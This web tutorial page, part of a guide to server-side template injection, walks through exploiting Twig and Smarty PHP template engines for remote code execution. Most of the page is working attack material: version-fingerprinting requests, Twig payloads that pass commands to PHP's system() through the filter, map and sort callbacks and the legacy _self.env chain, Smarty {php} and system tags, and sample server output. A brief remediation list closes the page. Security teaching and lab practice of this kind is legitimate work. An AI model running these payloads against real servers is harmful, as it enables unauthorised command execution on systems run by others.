Server-Side Template Injection (SSTI): The Complete Practical Guide
Exploiting Twig and PHP Template Engines
How to exploit Twig SSTI to RCE: the version-specific paths (legacy _self.env versus modern filter, map, and sort callbacks) and Smarty's system and php tags.
Published
Twig is the PHP template engine behind Symfony, Drupal, and Craft, and its SSTI-to-RCE path is unusual in that it depends heavily on the Twig major version. Get the version right and it is reliable. Use the wrong era's payload and nothing happens. This page covers the version-matched paths plus Smarty. Practice on a free live target.
Step 1: confirm Twig and its version
You identified Twig because the quoted-digit probe returned 49 (PHP coerces the string to a number) and {{_self}} rendered. Now determine the major version, because it decides everything. Twig exposes its version, and framework fingerprints help (Symfony, Drupal 8+, Craft ship Twig 2.x/3.x):
POST /render HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
tpl={{7*'7'}}--{{constant('Twig\\Environment::VERSION')}}HTTP/1.1 200 OK
Content-Type: text/html
49--3.8.049 confirms Twig, and the version string decides the payload below. The namespaced class Twig\Environment exists on Twig 2.7+ and 3.x. On legacy 1.x the class is Twig_Environment, so use {{constant('Twig_Environment::VERSION')}} there.
Step 2a: legacy Twig (1.x) via the self-environment callback
On Twig 1.x, the template self-reference exposed the environment object, which let you register an undefined-filter callback pointing at a PHP function and then invoke it:
{{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}This registers system as the handler for unknown filters, then "looks up" a filter named id, which runs system('id'). This chain is dead on Twig 2.0 and later, where _self is no longer the environment and the method was removed.
Step 2b: modern Twig (2.x / 3.x) via filter callbacks
Modern Twig is exploited through built-in filters that take a callable argument. filter, map, and sort all accept a function name, which can be a PHP execution function:
{{['id']|filter('system')}}
{{['id']|map('system')|join}}
{{['id',1]|sort('system')|join}}Each passes 'id' to the PHP function system as the callback, running the command. The filter and map filters were added in Twig 1.41, so these are the path on Twig 1.41 through 3.x.
Step 3: execute and read
Fire the version-matched payload and read the output from the response:
POST /render HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
tpl={{['id']|filter('system')}}HTTP/1.1 200 OK
Content-Type: text/html
uid=33(www-data) gid=33(www-data) groups=33(www-data)Smarty (PHP)
Smarty is another PHP engine (its math probe is {7*7}). Legacy Smarty exposed a {php} block that ran arbitrary PHP, removed by default in Smarty 3.1. Where present or on older installs:
{system('id')}
{php}system('id');{/php}On current Smarty, reach execution through its static-method-call syntax instead, and always confirm what the specific version allows rather than assuming the {php} tag is available.
Fixing it
- Pass user input as a context variable, never into the template source.
- Enable the Twig sandbox with a strict policy, and keep in mind an allowed callback-taking filter can still be abused, so restrict filters too.
- Keep Twig and Smarty patched and remove legacy tags and extensions you do not use.
Full guidance is in preventing SSTI. Next, the Java engines in exploiting Freemarker and Velocity, or try Twig on a free lab.
← Back to Server-Side Template Injection (SSTI): The Complete Practical Guide